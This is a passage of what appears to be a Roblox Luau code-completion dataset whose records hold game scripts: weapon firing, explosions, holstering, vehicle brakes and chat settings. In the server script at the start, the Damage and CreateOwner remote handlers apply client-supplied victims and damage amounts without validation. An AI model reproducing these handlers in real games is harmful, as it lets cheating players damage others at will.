Normal)\n\t\t\tHitmark.Parent = workspace.Terrain\n\t\t\tDebris:AddItem(Hitmark, 5)\n\n\t\tlocal Exp = Instance.new(\"Explosion\")\n\t\tExp.BlastPressure = Settings.ExPressure\n\t\tExp.BlastRadius = Settings.ExpRadius\n\t\tExp.DestroyJointRadiusPercent = Settings.DestroyJointRadiusPercent\n\t\tExp.Position = Hitmark.Position\n\t\tExp.Parent = Hitmark\n\t\t\n\t\tlocal S = Instance.new(\"Sound\")\n\t\tS.EmitterSize = 50\n\t\tS.MaxDistance = 1500\n\t\tS.SoundId = \"rbxassetid://\".. Explosion[math.random(1, 7)]\n\t\tS.PlaybackSpeed = math.random(30,55)/40\n\t\tS.Volume = 2\n\t\tS.Parent = Exp\n\t\tS.PlayOnRemove = true\n\t\tS:Destroy()\n\n\t\tExp.Hit:connect(function(hitPart, partDistance)\n \t\t local humanoid = hitPart.Parent and hitPart.Parent:FindFirstChild(\"Humanoid\")\n \t\t\tif humanoid then\n \t\t \t local distance_factor = partDistance / Settings.ExpRadius -- get the distance as a value between 0 and 1\n \t\t \t\t distance_factor = 1 - distance_factor -- flip the amount, so that lower == closer == more damage\n\t\t\t\t\tif distance_factor > 0 then\n\t\t\t\t\thumanoid:TakeDamage(Settings.ExplosionDamage*distance_factor) -- 0: no damage; 1: max damage\n \t\t\t\t\t end\n\t\t\t\tend\n\t\tend)\n\tend\n\n\t--[[for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do\n\t\tif SKP_002:IsA('Player') and SKP_002 ~= Player and SKP_002.Character and SKP_002.Character:FindFirstChild('Head') and (SKP_002.Character.Head.Position - Hitmark.WorldPosition).magnitude <= Settings.SuppressMaxDistance then\n\t\t\tEvt.Suppression:FireClient(SKP_002,1,10,5)\n\t\tend\n\tend\t]]\nend)\n\nEvt.LauncherHit.OnServerEvent:Connect(function(Player, Position, HitPart, Normal)\n\tEvt.LauncherHit:FireAllClients(Player, Position, HitPart, Normal)\nend)\n\nEvt.Whizz.OnServerEvent:Connect(function(Player, Vitima)\n\tEvt.Whizz:FireClient(Vitima)\nend)\n\nEvt.Suppression.OnServerEvent:Connect(function(Player, Vitima)\n\tEvt.Suppression:FireClient(Vitima,1,10,5)\nend)\n\n\nEvt.ServerBullet.OnServerEvent:connect(function(Player, BulletCF, Tracer, Force, BSpeed, Direction, TracerColor,Ray_Ignore,BulletFlare,BulletFlareColor)\n\tEvt.ServerBullet:FireAllClients(Player, BulletCF, Tracer, Force, BSpeed, Direction, TracerColor,Ray_Ignore,BulletFlare,BulletFlareColor)\nend)\n\nEvt.Equipar.OnServerEvent:Connect(function(Player,Arma)\n\n\tlocal Torso = Player.Character:FindFirstChild('Torso')\n\tlocal Head = Player.Character:FindFirstChild('Head')\n\tlocal HumanoidRootPart = Player.Character:FindFirstChild('HumanoidRootPart')\n\n\tif Player.Character:FindFirstChild('Holst' .. Arma.Name) then\n\t\tPlayer.Character['Holst' .. Arma.Name]:Destroy()\n\tend\n\n\tlocal ServerGun = GunModelServer:FindFirstChild(Arma.Name):clone()\n\tServerGun.Name = 'S' .. Arma.Name\n\tlocal Settings = require(Arma.ACS_Modulo.Variaveis:WaitForChild(\"Settings\"))\n\n\tArma.ACS_Modulo.Variaveis.BType.Value = Settings.BulletType\n\n\tAnimBase = Instance.new(\"Part\", Player.Character)\n\tAnimBase.FormFactor = \"Custom\"\n\tAnimBase.CanCollide = false\n\tAnimBase.Transparency = 1\n\tAnimBase.Anchored = false\n\tAnimBase.Name = \"AnimBase\"\n\tAnimBase.Size = Vector3.new(0.1, 0.1, 0.1)\n\t\n\tAnimBaseW = Instance.new(\"Motor6D\")\n\tAnimBaseW.Part0 = AnimBase\n\tAnimBaseW.Part1 = Head\n\tAnimBaseW.Parent = AnimBase\n\tAnimBaseW.Name = \"AnimBaseW\"\n\n\tRA = Player.Character['Right Arm']\n\tLA = Player.Character['Left Arm']\n\tRightS = Player.Character.Torso:WaitForChild(\"Right Shoulder\")\n\tLeftS = Player.Character.Torso:WaitForChild(\"Left Shoulder\")\n\t\n\tRight_Weld = Instance.new(\"Motor6D\")\n\tRight_Weld.Name = \"RAW\"\n\tRight_Weld.Part0 = RA\n\tRight_Weld.Part1 = AnimBase\n\tRight_Weld.Parent = AnimBase\n\tRight_Weld.C0 = Settings.RightArmPos\n\tPlayer.Character.Torso:WaitForChild(\"Right Shoulder\").Part1 = nil\n\t\t\n\tLeft_Weld = Instance.new(\"Motor6D\")\n\tLeft_Weld.Name = \"LAW\"\n\tLeft_Weld.Part0 = LA\n\tLeft_Weld.Part1 = AnimBase\n\tLeft_Weld.Parent = AnimBase\n\tLeft_Weld.C0 = Settings.LeftArmPos\n\tPlayer.Character.Torso:WaitForChild(\"Left Shoulder\").Part1 = nil\n\n\tServerGun.Parent = Player.Character\n\n\tfor SKP_001, SKP_002 in pairs(ServerGun:GetChildren()) do\n\t\t\tif SKP_002:IsA('BasePart') and SKP_002.Name ~= 'Grip' then\n\t\t\t\tlocal SKP_003 = Instance.new('WeldConstraint')\n\t\t\t\tSKP_003.Parent = SKP_002\n\t\t\t\tSKP_003.Part0 = SKP_002\n\t\t\t\tSKP_003.Part1 = ServerGun.Grip\n\t\t\tend;\n\t\tend\n\t\t\n\t\tlocal SKP_004 = Instance.new('Motor6D')\n\t\tSKP_004.Name = 'GripW'\n\t\tSKP_004.Parent = ServerGun.Grip\n\t\tSKP_004.Part0 = ServerGun.Grip\n\t\tSKP_004.Part1 = Player.Character['Right Arm']\n\t\tSKP_004.C1 = Settings.ServerGunPos\n\t\t\n\t\tfor L_74_forvar1, L_75_forvar2 in pairs(ServerGun:GetChildren()) do\n\t\t\tif L_75_forvar2:IsA('BasePart') then\n\t\t\t\tL_75_forvar2.Anchored = false\n\t\t\t\tL_75_forvar2.CanCollide = false\n\t\t\tend\n\t\tend\n\t\nend)\n\nEvt.SilencerEquip.OnServerEvent:Connect(function(Player,Arma,Silencer)\n\tlocal Arma = Player.Character['S' .. Arma.Name]\n\tlocal Fire\n\n\tif Silencer then\n\t\tArma.Silenciador.Transparency = 0\n\telse\n\t\tArma.Silenciador.Transparency = 1\n\tend\n\nend)\n\nEvt.Desequipar.OnServerEvent:Connect(function(Player,Arma,Settings)\n\n\tif Settings.EnableHolster and Player.Character and Player.Character.Humanoid and Player.Character.Humanoid.Health > 0 then\n\t\t\tif Player.Backpack:FindFirstChild(Arma.Name) then\n\t\t\t\tlocal SKP_001 = GunModelServer:FindFirstChild(Arma.Name):clone()\n\t\t\t\tSKP_001.PrimaryPart = SKP_001.Grip\n\t\t\t\tSKP_001.Parent = Player.Character\n\t\t\t\tSKP_001.Name = 'Holst' .. Arma.Name\n\t\t\t\t\n\t\t\t\tfor SKP_002, SKP_003 in pairs(SKP_001:GetDescendants()) do\n\t\t\t\t\tif SKP_003:IsA('BasePart') and SKP_003.Name ~= 'Grip' then\n\t\t\t\t\t\tWeld(SKP_003, SKP_001.Grip)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif SKP_003:IsA('BasePart') and SKP_003.Name == 'Grip' then\n\t\t\t\t\t\tWeld(SKP_003, Player.Character[Settings.HolsterTo], CFrame.new(), Settings.HolsterPos)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tfor SKP_004, SKP_005 in pairs(SKP_001:GetDescendants()) do\n\t\t\t\t\tif SKP_005:IsA('BasePart') then\n\t\t\t\t\t\tSKP_005.Anchored = false\n\t\t\t\t\t\tSKP_005.CanCollide = false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\tif Player.Character:FindFirstChild('S' .. Arma.Name) ~= nil then\n\t\tPlayer.Character['S' .. Arma.Name]:Destroy()\n\t\tPlayer.Character.AnimBase:Destroy()\n\tend\n\n\tif Player.Character.Torso:FindFirstChild(\"Right Shoulder\") ~= nil then\n\t\tPlayer.Character.Torso:WaitForChild(\"Right Shoulder\").Part1 = Player.Character['Right Arm']\n\tend\n\tif Player.Character.Torso:FindFirstChild(\"Left Shoulder\") ~= nil then\n\t\tPlayer.Character.Torso:WaitForChild(\"Left Shoulder\").Part1 = Player.Character['Left Arm']\n\tend\n\tif Player.Character.Torso:FindFirstChild(\"Neck\") ~= nil then\n\t\tPlayer.Character.Torso:WaitForChild(\"Neck\").C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tPlayer.Character.Torso:WaitForChild(\"Neck\").C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\tend\nend)\n\nEvt.Holster.OnServerEvent:Connect(function(Player,Arma)\n\tif Player.Character:FindFirstChild('Holst' .. Arma.Name) then\n\t\tPlayer.Character['Holst' .. Arma.Name]:Destroy()\n\tend\nend)\n\nEvt.HeadRot.OnServerEvent:connect(function(Player, Rotacao, Offset, Equipado)\n\tEvt.HeadRot:FireAllClients(Player, Rotacao, Offset, Equipado)\nend)\n\nlocal TS = game:GetService('TweenService')\n\nEvt.Atirar.OnServerEvent:Connect(function(Player,FireRate,Anims,Arma)\n\t\n\tEvt.Atirar:FireAllClients(Player,FireRate,Anims,Arma)\n\nend)\n\nEvt.Stance.OnServerEvent:Connect(function(Player,stance,Settings,Anims)\nEvt.Stance:FireAllClients(Player,stance,Settings,Anims)\nend)\n\n\nEvt.Damage.OnServerEvent:Connect(function(Player,VitimaHuman,Dano,DanoColete,DanoCapacete)\n\t\n\tif VitimaHuman ~= nil then\n\t\tif VitimaHuman.Parent:FindFirstChild(\"Saude\") ~= nil then\n\t\t\tlocal Colete = VitimaHuman.Parent.Saude.Protecao.VestVida\n\t\t\tlocal Capacete = VitimaHuman.Parent.Saude.Protecao.HelmetVida\n\t\t\tColete.Value = Colete.Value - DanoColete\n\t\t\tCapacete.Value = Capacete.Value - DanoCapacete\n\t\tend\n\tVitimaHuman:TakeDamage(Dano)\n\tend\n\t\nend)\n\nEvt.CreateOwner.OnServerEvent:Connect(function(Player,VitimaHuman)\n\tlocal c = Instance.new(\"ObjectValue\")\n\t\t\tc.Name = \"creator\"\n\t\t\tc.Value = Player\n\t\t\tgame.Debris:AddItem(c, 3)\n\t\t\tc.Parent = VitimaHuman\nend)\n"} +{"prompt": "--[[\n\tUI Service for Electron Income\n]]", "completion": "\n\nlocal ElectronIncome = require(script.Parent.ElectronAnimator)\n\ngame:GetService(\"ReplicatedStorage\").Game.Events.Shop.Income.OnClientEvent:Connect(function(Name, Amount)\n\tElectronIncome.QueueAnimation(Name, Amount)\nend)\n"} +{"prompt": "-- capture two separate generic arguments so that the type error in abuse cases is actionable, but needs CLI-49876 to avoid a false negative", "completion": "\nlocal function concat(source: Array | T, ...: Array | S): Array & Array\n\tlocal array\n\tlocal elementCount = 0\n\n\tif isArray(source) then\n\t\tarray = table.clone(source :: Array)\n\t\telementCount = #(source :: Array)\n\telse\n\t\telementCount += 1\n\t\tarray = {}\n\t\tarray[elementCount] = source :: T\n\tend\n\n\tfor i = 1, select(\"#\", ...) do\n\t\tlocal value = select(i, ...)\n\t\tlocal valueType = typeof(value)\n\t\tif value == nil then\n\t\t\t-- do not insert nil\n\t\telseif valueType == \"table\" then\n\t\t\t-- deviation: assume that table is an array, to avoid the expensive\n\t\t\t-- `isArray` check. In DEV mode, we throw if it is given an object-like\n\t\t\t-- table.\n\t\t\tif _G.__DEV__ then\n\t\t\t\tif not isArray(value) then\n\t\t\t\t\terror(RECEIVED_OBJECT_ERROR)\n\t\t\t\tend\n\t\t\tend\n\t\t\tfor k = 1, #value do\n\t\t\t\telementCount += 1\n\t\t\t\tarray[elementCount] = value[k]\n\t\t\tend\n\t\telse\n\t\t\telementCount += 1\n\t\t\tarray[elementCount] = value\n\t\tend\n\tend\n\n\treturn (array :: any) :: Array & Array\nend\n\nreturn concat\n"} +{"prompt": "--// Tables", "completion": "\nlocal L_98_ = {\n\t\n\t\"285421759\";\n\t\"151130102\";\n\t\"151130171\";\n\t\"285421804\";\n\t\"287769483\";\n\t\"287769415\";\n\t\"285421687\";\n\t\"287769261\";\n\t\"287772525\";\n\t\"287772445\";\n\t\"287772351\";\n\t\"285421819\";\n\t\"287772163\";\n\t\n}\n\nlocal L_99_ = {\n\t\n\t\"2282590559\";\n\t\"2282583154\";\n\t\"2282584222\";\n\t\"2282584708\";\n\t\"2282585118\";\n\t\"2282586860\";\n\t\"2282587182\";\n\t\"2282587628\";\n\t\"2282588117\";\n\t\"2282588433\";\n\t\"2282576973\";\n\t\"2282577954\";\n\t\"2282578595\";\n\t\"2282579272\";\n\t\"2282579760\";\n\t\"2282580279\";\n\t\"2282580551\";\n\t\"2282580935\";\n\t\"2282582377\";\n\t\"2282582717\";\n\t\"2282449653\";\n\t\t\n}\n\nlocal L_100_ = {\n\t\n\t\"2297264589\";\n\t\"2297264920\";\n\t\"2297265171\";\n\t\"2297265394\";\n\t\"2297266410\";\n\t\"2297266774\";\n\t\"2297267106\";\n\t\"2297267463\";\n\t\"2297267748\";\n\t\"2297268261\";\n\t\"2297268486\";\n\t\"2297268707\";\n\t\"2297268894\";\n\t\"2297269092\";\n\t\"2297269542\";\n\t\"2297269946\";\n\t\"2297270243\";\n\t\"2297270591\";\n\t\"2297270984\";\n\t\"2297271381\";\n\t\"2297271626\";\n\t\"2297272112\";\n\t\"2297272424\";\n\t\n}\n\nlocal L_101_ = workspace:FindFirstChild(\"BulletModel: \" .. L_2_.Name) or Instance.new(\"Folder\", workspace)\nL_101_.Name = \"BulletModel: \" .. L_2_.Name\n\nlocal L_102_\n\nlocal L_103_ = L_24_.Ammo\nlocal L_104_ = L_24_.StoredAmmo * L_24_.MagCount\n\nlocal L_105_ = L_24_.ExplosiveAmmo\n\nIgnoreList = {\n\tL_3_,\n\tL_101_,\n\tL_5_\n}\n"} +{"prompt": "---[[ Chat Behaviour Settings ]]", "completion": "\nmodule.WindowDraggable = false\nmodule.WindowResizable = false\nmodule.ShowChannelsBar = false\nmodule.GamepadNavigationEnabled = false\nmodule.AllowMeCommand = true -- Me Command will only be effective when this set to true\nmodule.ShowUserOwnFilteredMessage = true\t--Show a user the filtered version of their message rather than the original."} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nlocal v1 = {};\nreturn function(p1, p2)\n\tlocal v2\n\tif p2 then\n\t\tv2 = u1.Functions.GetProductInfo(p1, Enum.InfoType.Product);\n\telse\n\t\tv2 = u1.Functions.GetGamepassInfo(p1);\n\tend;\n\tif not v2 then\n\t\tu1.Print(\"Failed to grab price for ID (\" .. p1 .. \")\", true);\n\t\treturn;\n\tend;\n\tif not v2.IsForSale then\n\t\treturn 0, false;\n\tend;\n\treturn tonumber(v2.PriceInRobux), true;\nend;\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= true\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.FBrakeForce\t= 400\t\t-- Front brake force\n\tTune.RBrakeForce\t= 500\t\t-- Rear brake force\n\tTune.PBrakeForce\t= 4000\t\t-- Handbrake force\n\t\n\tTune.FLgcyBForce\t= 15000\t\t-- Front brake force [PGS OFF]\n\tTune.RLgcyBForce\t= 10000\t\t-- Rear brake force [PGS OFF]\n\tTune.LgcyPBForce\t= 25000\t\t-- Handbrake force [PGS OFF]\n\t"} +{"prompt": "--Unequip a title for a player", "completion": "\nfunction functions.UnequipTitle(plr: Player)\n\n\tlocal plrStats = plr:WaitForChild(\"leaderstats\")\n\tlocal plrEquippedTitle = plr.EquippedTitle\n\n\tif plrEquippedTitle.Value ~= \"\" then\n\n\t\tlocal char = plr.Character\n\t\tif char.HumanoidRootPart:FindFirstChild(\"TITLE BILLBOARD GUI\") then\n\t\t\tchar.HumanoidRootPart[\"TITLE BILLBOARD GUI\"]:Destroy()\n\t\tend\n\n\t\tplrEquippedTitle.Value = \"\"\n\tend\nend\n"} +{"prompt": "--// Input Connections", "completion": "\nL_107_.InputBegan:connect(function(L_314_arg1, L_315_arg2)\n\tif not L_315_arg2 and L_15_ then\n\t\tif L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then\n\t\t\tif not L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\t\tL_154_ = 0.015\n\t\t\t\t\t\tL_155_ = 7\n\t\t\t\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 7\n\t\t\t\t\telse\n\t\t\t\t\t\tL_155_ = 10\n\t\t\t\t\t\tL_154_ = 0.008\n\t\t\t\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 10\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude <= 2 then\n\t\t\t\t\tL_97_ = L_50_\n\t\t\t\tend\n\t\t\t\tL_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_115_:FireServer(true)\t\t\t\t\n\t\t\t\tL_64_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.A and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0.1)\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.D and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, -0.1)\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.E and L_15_ and not L_80_ and not L_81_ then\n\t\t\tL_80_ = true\n\t\t\tL_82_ = false\n\t\t\tL_81_ = true\n\t\t\tLeanRight()\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and not L_80_ and not L_82_ then\n\t\t\tL_80_ = true\n\t\t\tL_81_ = false\n\t\t\tL_82_ = true\n\t\t\tLeanLeft()\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == L_24_.AlternateAimKey and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then\n\t\t\tif not L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 10\n\t\t\t\t\tL_155_ = 10\n\t\t\t\t\tL_154_ = 0.008\n\t\t\t\tend\n\t\t\t\tL_97_ = L_50_\n\t\t\t\tL_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_115_:FireServer(true)\n\t\t\t\tL_64_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_79_ and not L_77_ and L_69_ and L_15_ and not L_66_ and not L_67_ and not L_74_ then\n\t\t\tL_68_ = true\n\t\t\tif not Shooting and L_15_ and not L_83_ then\n\t\t\t\tif L_103_ > 0 then\t\t\t\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\telseif not Shooting and L_15_ and L_83_ then\n\t\t\t\tif L_105_ > 0 then\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (L_24_.LaserKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadRight) and L_15_ and L_24_.LaserAttached then\n\t\t\tlocal L_316_ = L_1_:FindFirstChild(\"LaserLight\")\n\t\t\tL_122_.KeyDown[1].Plugin()\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (L_24_.LightKey or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR3) and L_15_ and L_24_.LightAttached then\n\t\t\tlocal L_317_ = L_1_:FindFirstChild(\"FlashLight\"):FindFirstChild('Light')\n\t\t\tlocal L_318_ = false\n\t\t\tL_317_.Enabled = not L_317_.Enabled\n\t\tend;\n\t\t\n\t\tif L_15_ and L_314_arg1.KeyCode == (L_24_.FireSelectKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadUp) and not L_79_ and not L_70_ and not L_78_ then\n\t\t\tL_70_ = true\n\t\t\tif L_92_ == 1 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 2 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 3 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and not L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 4 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 6 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tL_85_ = L_69_\n\t\t\t\tif L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\tend\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\t\tFireModeAnim()\n\t\t\tIdleAnim()\n\t\t\tL_70_ = false\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.F or L_314_arg1.KeyCode == Enum.KeyCode.DPadDown) and not L_79_ and not L_77_ and not L_78_ and not L_67_ and not L_70_ and not L_64_ and not L_66_ and not Shooting and not L_76_ then\t\t\t\n\t\t\tif not L_73_ and not L_74_ then\n\t\t\t\tL_74_ = true\n\t\t\t\tShooting = false\n\t\t\t\tL_69_ = false\n\t\t\t\tL_135_ = time()\n\t\t\t\tdelay(0.6, function()\n\t\t\t\t\tif L_103_ ~= L_24_.Ammo and L_103_ > 0 then\n\t\t\t\t\t\tCreateShell()\n\t\t\t\t\tend\n\t\t\t\tend)\t\n\t\t\t\tBoltBackAnim()\n\t\t\t\tL_73_ = true\n\t\t\telseif L_73_ and L_74_ then\n\t\t\t\tBoltForwardAnim()\n\t\t\t\tShooting = false\n\t\t\t\tL_69_ = true\n\t\t\t\tif L_103_ ~= L_24_.Ammo and L_103_ > 0 then\n\t\t\t\t\tL_103_ = L_103_ - 1\n\t\t\t\telseif L_103_ >= L_24_.Ammo then\n\t\t\t\t\tL_69_ = true\n\t\t\t\tend\t\t\t\t\t\t\n\t\t\t\tL_73_ = false\n\t\t\t\tL_74_ = false\n\t\t\t\tIdleAnim()\n\t\t\t\tL_75_ = false\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_78_ and not L_77_ and L_146_ then\n\t\t\tL_71_ = true\n\t\t\tif L_15_ and not L_70_ and not L_67_ and L_71_ and not L_65_ and not L_74_ then\n\t\t\t\tShooting = false\n\t\t\t\tL_64_ = false\n\t\t\t\tL_67_ = true\n\t\t\t\t\t\t\n\t\t\t\tdelay(0, function()\n\t\t\t\t\tif L_67_ and not L_66_ then\n\t\t\t\t\t\tL_64_ = false\n\t\t\t\t\t\tL_72_ = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\tL_97_ = 80\n\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\tL_154_ = 0.4\n\t\t\t\t\tL_155_ = 16\n\t\t\t\telse\n\t\t\t\t\tL_155_ = L_24_.SprintSpeed\n\t\t\t\t\tL_154_ = 0.4\n\t\t\t\tend\n\t\t\t\tL_3_.Humanoid.WalkSpeed = L_24_.SprintSpeed\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.R or L_314_arg1.KeyCode == Enum.KeyCode.ButtonX) and not 